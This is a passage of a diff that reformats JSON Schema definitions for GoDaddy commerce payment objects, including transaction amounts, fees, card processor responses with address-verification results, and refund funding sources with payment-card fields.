"https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } - } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" }, - "properties": { - "processorType": { + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents Adjustment transaction against a payment", - "properties": { - "newAmount": { - "description": "Adjusted transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" } }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents refund transaction against a payment", + "properties": { + "alternateFundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + }, + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "required": [ - "amount", - "type" - ] + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", + "entryMethod": { + "description": "Entry mode for the card", "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", "writeOnly": true } }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", "type": "string", - "description": "Fee type discriminator" + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" } }, "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - } - }, - "required": [ - "newAmount" - ] - }, - "readOnly": true, - "description": "Adjustments for the payment" - }, - "captures": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Capture Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] + "properties": { + "city": { + "description": "City", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } + "title": "Card Processing Instruction", + "type": "object" } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + }, + "required": [ + "cardDetail" + ], + "title": "Payment Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 